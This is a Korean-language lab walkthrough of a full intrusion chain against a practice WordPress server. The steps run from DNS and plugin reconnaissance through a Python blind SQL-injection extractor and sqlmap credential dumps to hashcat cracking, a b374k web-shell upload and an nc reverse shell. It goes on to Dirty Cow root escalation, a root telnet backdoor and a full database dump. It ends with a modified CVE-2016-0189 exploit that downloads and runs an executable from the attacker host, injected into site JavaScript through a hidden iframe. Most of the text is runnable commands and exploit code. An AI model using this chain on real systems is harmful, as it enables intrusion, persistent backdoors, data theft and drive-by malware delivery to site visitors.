실습환경
•
피해자 Server : 192.168.0.140 B-SQLi & DirtyCow
•
공격자 Server : 192.168.0.15 (Kali Linux
가상환경 (B-SQLi & DirtyCow) 스냅샷 돌리고 실습 시작
DNS 정보조사
dns.txt 파일 준비
•
서브 도메인으로 사용할 수 있는 단어들이 포함된 txt 파일을 준비
조사 진행
fierce --domain fngs.kr --subdomain-file dns.txt
Bash
복사
서브도메인 dev.fngs.kr 을 발견
해당 도메인의 IP 주소는 192.168.0.140 으로 확인
fierce?
DNS 정보 조사를 위한 도구
특정 도메인의 하위 도메인과 관련된 정보를 수집하는 데 사용되며 도메인의 네임 서버(NS), SOA 레코드, IP 주소 등을 확인하며, 이를 통해 네트워크 구조를 파악하고 보안 취약점을 파악
Web 응용프로그램 정보 조사
whatweb -v dev.fngs.kr
Bash
복사
whatweb 도구를 사용하여 해당 도메인의 추가 정보 획득
whatweb?
웹 애플리케이션의 기술 스택을 식별하는 도구로, 웹 서버, 프레임워크, CMS, 분석 코드 등을 탐지
-v : verbose 모드, 더 자세한 출력 제공
워드프레스 취약성 조사
wpscan --url dev.fngs.kr
Bash
복사
wpscan 을 사용하여 워드프레스, 플러그인의 버전을 확인하여 취약성 조사
플러그인의 최신 버전은 1.3.1 이지만, 현재 버전은 1.2.3 인 것을 확인
SQL 인젝션
플러그인 이름을 보고 해당 기능이 취약하다고 판단
BrupSuite 이용
리피터 기능을 활용하여 인젝션 진행
•
참
and 1=1
Plain Text
복사
•
거짓
and 1=0
Plain Text
복사
위와 같은 과정을 통해 인젝션이 가능하다는 것을 파악
DB 길이 추출
AND LENGTH(database()) = 9
Plain Text
복사
1부터 증가시키면서 인젝션을 진행
데이터베이스 이름의 길이는 9임을 확인
코드 제작을 통한 데이터베이스 이름 추출
파이썬 코드를 이용한 데이터베이스 이름 추출
import requests
URL = "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php"
# 데이터베이스 이름의 ASCII 코드를 저장할 배열
dbName = []
# 데이터베이스 이름의 길이를 찾기
length_found = False
for length in range(1, 100): # 데이터베이스 이름의 최대 길이를 100으로 설정
payload = {'post_id': f"1 and LENGTH(database())={length} -- ", 'l': 1, 'wp_type': 'like'}
r = requests.post(URL, data=payload)
if '0' not in r.text:
print(f"Database name length found: {length}")
db_length = length
length_found = True
break
if not length_found:
print("Failed to find database name length")
exit()
# 데이터베이스 이름의 첫 번째 문자를 찾기 위한 시작 위치
subStr = 1
while subStr <= db_length:
found_char = False
for asciiCode in range(32, 127): # ASCII 코드 범위: 32 (공백)부터 126 (틸다)까지
brute_string = f"1 and BINARY substring(database(),{subStr},1) = char({asciiCode})"
payload = {'post_id': brute_string, 'l': 1, 'wp_type': 'like'}
r = requests.post(URL, data=payload)
if '0' not in r.text:
dbName.append(chr(asciiCode))
print(f"Success! Character '{chr(asciiCode)}' found at position {subStr}.")
print(f"Database name so far: {''.join(dbName)}", end='\r')
found_char = True
break
else:
continue
if not found_char:
break
subStr += 1 # 다음 문자의 위치로 이동
# 최종 데이터베이스 이름을 문자열로 변환하여 출력
print(f"\nFinal Database Name: {''.join(dbName)}")
Python
복사
결과
데이터베이스 이름은 wordpress 인 것을 확인
BINARY 키워드
DB 이름 추출 시 BINARY 키워드를 사용
해당 키워드는 대,소문자를 구분하는 역할을 하며 사용하지 않을 시 대/소문자가 모두 참으로 판별된다.
SQLmap 이용
웹 서버 주요정보 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL
Bash
복사
결과
OS : Linux Ubuntu
웹 서버 기술 : Apache 2.4.7, PHP 5.5.9
백엔드 DBMS : MySQL 5.0.12 이상
SQLmap 옵션
•
-u URL: 대상 URL 지정
•
--method=METHOD: HTTP 요청 메서드(예: GET, POST) 지정
•
--data=DATA: POST 요청 시 전송할 데이터 지정
•
-p PARAMETER: SQL 인젝션을 시도할 매개변수 지정
•
-v LEVEL: 상세한 출력 수준 설정 (1~6)
•
--dbs: 데이터베이스 목록 나열
•
--tables: 특정 데이터베이스의 테이블 목록 나열
•
--columns: 특정 테이블의 컬럼 목록 나열
•
--dump: 특정 테이블의 데이터 덤프
•
--dbms=DBMS: 대상 DBMS 지정 (예: MySQL, PostgreSQL)
DB 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dbs
Bash
복사
결과
사용 중인 DB
•
information_schema
•
wordpress
information_schema 는 MySQL의 기본 시스템 DB므로 실제 사용 중인 DB 는 wordpress 로 추측 가능
테이블 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --tables -D wordpress
Bash
복사
결과
wordpress 내부의 테이블 추출 완료
SQLmap DB 관련 옵션
•
-D DBNAME: 특정 데이터베이스 지정
•
-T TBLNAME: 특정 테이블 지정
•
-C COLNAME: 특정 컬럼 지정
•
--dump: 테이블의 데이터 덤프
•
--search: 데이터베이스, 테이블, 컬럼 검색
•
--exclude-sysdbs: 시스템 데이터베이스 제외
•
--users: 데이터베이스 사용자 목록 나열
•
--passwords: 데이터베이스 사용자 비밀번호 덤프
•
--privileges: 데이터베이스 사용자 권한 나열
•
--roles: 데이터베이스 사용자 역할 나열
컬럼 추출
계정 정보가 있을 것으로 추측되는 wp_users 테이블의 컬럼 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --columns -T wp_users -D wordpress
Bash
복사
결과
wp_users 테이블의 컬럼 추출 완료
관리자 계정 찾기
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dump -T wp_usermeta -D wordpress
Bash
복사
결과
kisec 계정이 관리자 계정이라는 것 확인
사용자 계정, 비밀번호 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dump -T wp_users -D wordpress
Bash
복사
결과
비밀번호의 해시 값 확인
hashcat.exe 이용 해시 값 해석
윈도우에서 hashcat.exe와 같은 경로에 pass.txt 생성 후 해시 값 저장
hashcat.exe -a 3 -d 2 pass.txt -o crack.txt
Shell
복사
해시 분석 과정 (약10분 소요)
결과
비밀번호 크랙 결과 kisec 임을 확인
관리자 페이지 접속 및 플러그인 설치
관리자 페이지 접속
ttp://dev.fngs.kr/wp-admin 경로로 접속
wp-admin 은 워드프레스 관리자페이지의 기본 경로이다.
ID : kisec
PW : kisec
플러그인 설치
https://www.exploit-db.com/exploits/36738 접속
취약 플러그인 다운로드
익스플로잇 스크립트 다운
Software Link 확인 및 브라우저로 접속, 취약한 플러그인 다운
관리자 페이지 - 플러그인 - 플러그인 업로드에서 취약한 플러그인 업로드 및 설치 진행
활성화 진행
플러그인 추가 확인
웹 쉘 (리버스 쉘) 실행
웹 쉘 다운로드
wget https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.3.php
Bash
복사
본 실습에서는 b374k 라는 웹 쉘을 사용
웹 쉘 업로드
curl 를 이용하여 b374k-3.2.3.php 웹셸 파일을 워드프레스 사이트의 admin-ajax.php로 업로드
curl -k -X POST -F "action=upload" -F "Filedata=@./b374k-3.2.3.php" -F "action=nm_webcontact_upload_file" http://dev.fngs.kr/wp-admin/admin-ajax.php
Bash
복사
결과
filename 복사
curl 옵션
•
-k : SSL 인증서를 무시하고 요청을 수행합니다.
•
-X POST: POST 요청을 사용합니다.
•
-F action=upload: 업로드 작업을 지정합니다.
•
-F Filedata=@./b374k-3.2.3.php: 업로드할 파일을 지정합니다.
•
-F action=nm_webcontact_upload_file: 웹컨택트 업로드 액션을 지정합니다.
•
http://dev.fngs.kr/wp-admin/admin-ajax.php: 요청을 보낼 URL입니다.
업로드한 웹 쉘 접근
http://dev.fngs.kr/wp-content/uploads/contact_files/1722683421-b374k_3.2.3.php 접속
비밀번호는 b374k
리버스 쉘 설정
Network - Reverse Shell 에서 IP, Port 설정
리버스 쉘 실행
포트 열고 대기
nc -nvlp 6666
Bash
복사
앞서 설정한 리버스 쉘을 실행하면 연결됨
결과
권한 상승 (Dirty Cow)
익스플로잇 코드 (Dirty Cow) 다운로드
wget https://www.exploit-db.com/download/40616 -O cowroot.c
Bash
복사
결과
컴파일
실행 가능하도록 컴파일 진행
gcc cowroot.c -o cowroot -pthread
Bash
복사
결과
Dirty Cow 실행
./cowroot
Bash
복사
실행과 동시에 아래 명령어 실행 (5초 이내)
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
mv /tmp/bak /usr/bin/passwd
Bash
복사
커널 패닉시간?
DirtyCow(Dirty Copy-on-Write) 익스플로잇은 리눅스 커널의 특정 취약점을 이용하여 메모리 페이지를 수정하는 공격 기법이다. 이 과정에서 시스템의 파일을 임시로 덮어쓰게 되는데, 이로 인해 시스템이 불안정해질 수 있다.
이때 커널 패닉이 발생할 가능성이 있기 때문에 5초 이내에 명령어를 입력해야한다.
결과
명령어 입력 후 whoami 명렁어 입력 시 root 확인
백도어 (텔넷) 설치
환경변수 업데이트
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Bash
복사
텔넷 설치
apt-get install -y xinetd telnetd
Bash
복사
xinetd 설정 파일 활성화
echo -e "service telnet\n{\n disable = no\n flags = REUSE\n socket_type = stream\n wait = no\n user = root\n server = /usr/sbin/in.telnetd\n log_on_failure += USERID\n}" > /etc/xinetd.d/telnet
Bash
복사
/etc/securetty 파일 변조
mv /etc/securetty /etc/securetty.old
Bash
복사
/etc/securetty 파일을 /etc/securetty.old 로 변조
/etc/securetty?
/etc/securetty 파일은 특정 터미널에서 루트 로그인을 허용할지 여부를 제어하는 파일이다다. 이 파일을 변경하거나 제거하면 루트 사용자가 해당 터미널에서 로그인을 할 수 없게 설정할 수 있다.
securetty 파일을 비활성화하여 모든 터미널에서 루트 로그인을 허용한다.
root 비밀번호 변경
passwd root
Bash
복사
텔넷 서비스 재시작
service xinetd restart
Bash
복사
텔넷 접속
telnet dev.fngs.kr
Bash
복사
결과
데이터베이스 탈취
MySQL 서비스 중지
service mysql stop
Bash
복사
권한 우회
myspld_safe —skip-grant-tables &
Bash
복사
데이터베이스 덤프
mysqldump —all-databases > hack.sql
Bash
복사
MySQL 데몬 종료
pkill mysqld
Bash
복사
MySQL 서비스 재시작
/etc/init.d/mysql start
Bash
복사
백업파일 이동
my hack.sql /var/www/wordpress
Bash
복사
파일을 원격으로 쉽게 접근할 수 있는 위치에 두기 위해 파일 이동
DBD (Drive By Download) 공격
CVE-2016-0189 취약점을 악용하여 DBD 공격을 진행
익스플로잇 코드 다운로드 및 압축 해제
wget https://github.com/theori-io/cve-2016-0189/archive/refs/heads/master.zip
unzip master.zip
Bash
복사
디렉토리 이름 변경
mv cve-2016-0189-master cve-2016
Bash
복사
웹 서버의 루트 디렉토리에 익스플로잇 파일 복사
sudo cp cve-2016/exploit/vbscript_godmode.html /var/www/wordpress
Bash
복사
익스플로잇 파일 수정
sudo vi /var/www/wordpress/vbscript_godmode.html
Bash
복사
106번 라인 삭제 후 아래 코드 추가
Object.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://192.168.0.15/messbox.exe"",false>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&del %TEMP%\messbox.exe&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
Bash
복사
해당 코드는 원격 서버 (192.168.0.15) 에서 messbox.exe 를 다운로드 및 실행
Putty 다운로드 및 이름 변경
Putty 다운로드 (로컬)
OS 에 맞게 설치 진행, 본 실습에서는 32-Bit x86을 사용
HTTP 서버 오픈 (로컬) 및 다운로드 (칼리)
로컬
칼리
Putty 파일 이름 변경
mv putty.exe messbox.exe
Bash
복사
JavaScript 파일 변경
변조 대상 JS 파일 확인
dev.fngs.kr 에 접속 후 개발자도구로 변조대상 JS 파일 확인
wp-includes/js/admin-bar.min.js 을 변조
JS 파일 변조 진행
기존 코드에 아래 내용 추가
document.write("<iframe src='http://dev.fngs.kr/vbscript_godmode.html' width='0' height='0' frameborder='0'></iframe>");
Bash
복사
godmode.html 수정
106번 라인 삭제 후 쉘 코드 삽입
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
' 2x2000 elements x 16 bytes / element = 64000 bytes
ReDim Preserve A(1, 2000)
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Dummy
End Class
Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set aw.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
' Single has vartype of 0x04
aw.A(arg1, 2) = CSng(0)
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
' Create a vbscript class instance
Set dm = New Dummy
' Get address of the class instance
addr = getAddr(arg1, dm)
' Leak CSession address from class instance
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
' Leak COleScript address from CSession instance
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
' Overwrite SafetyOption in COleScript (e.g. god mode)
' e.g. changes it to 0x04 which is not in 0x0B mask
overwrite arg1, olescript + &H174
' Execute cmd
Set Object = CreateObject("Shell.Application")
Object.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://192.168.0.15/messbox.exe"",false>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&del %TEMP%\messbox.exe&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
End Function
Function triggerBug
' Resize array we are currently indexing
aw.Resize()
' Overlap freed array area with our exploit string
Dim i
For i = 0 To 32
' 24000x2 + 6 = 48006 bytes
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>
Bash
복사
최종 확인
사이트 접속
윈도우 환경에서 http://dev.fngs.kr 접속
wp-includes/js/admin-bar.min.js 를 변조했기 때문에 관리자 계정으로 로그인 한 뒤 재접속 시도
결과
피해자 환경에서 Putty가 실행된 것 확인